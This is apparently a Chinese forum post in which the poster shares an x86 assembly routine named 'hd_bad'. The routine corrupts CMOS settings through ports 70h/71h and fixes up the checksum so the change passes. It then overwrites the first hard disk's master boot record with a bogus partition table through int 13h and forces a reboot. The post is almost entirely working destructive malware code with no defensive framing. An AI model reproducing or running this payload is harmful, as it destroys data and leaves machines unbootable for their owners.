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初生襁褓狮
- 帖子:289
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2003-10-26
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发表于：
2006-01-27 19:54
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是直接写端口的,还是反复低格一个位置的? 付上写断口的 hd_bad: xor ax,ax mov ds,ax mov bx,word ptr ds:[46ch] mov al,11h out 70h,al mov al,0ffh out 71h,al mov al,1ch out 70h,al mov al,bl out 71h,al mov al,1dh out 70h,al mov al,bh out 71h,al mov cl,10h xor dx,dx lop_rom: mov al,cl out 70h,al in al,71h xor ah,ah add dx,ax inc cl cmp cl,2eh jnz lop_rom mov al,2eh out 70h,al mov al,dh out 71h,al mov al,2fh out 70h,al mov al,dl out 71h,al mov ax,0301h mov bx,offset BADDISK-1beh add bx,bp mov word ptr es:[bx],18cdh push cs pop es mov cx,0001h mov dx,0080h int 13h int 19h BADDISK db 80h,00h,01h,00h,05h,3fh,7fh,96h db 3fh,00h,00h,00h,01h,0ah,19h,00h db 00h,00h,41h,97h,00h,3fh,0ffh,0fdh db 40h,0ah,19h,00h,40h,0d6h,25h,00h db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 55h,0aah
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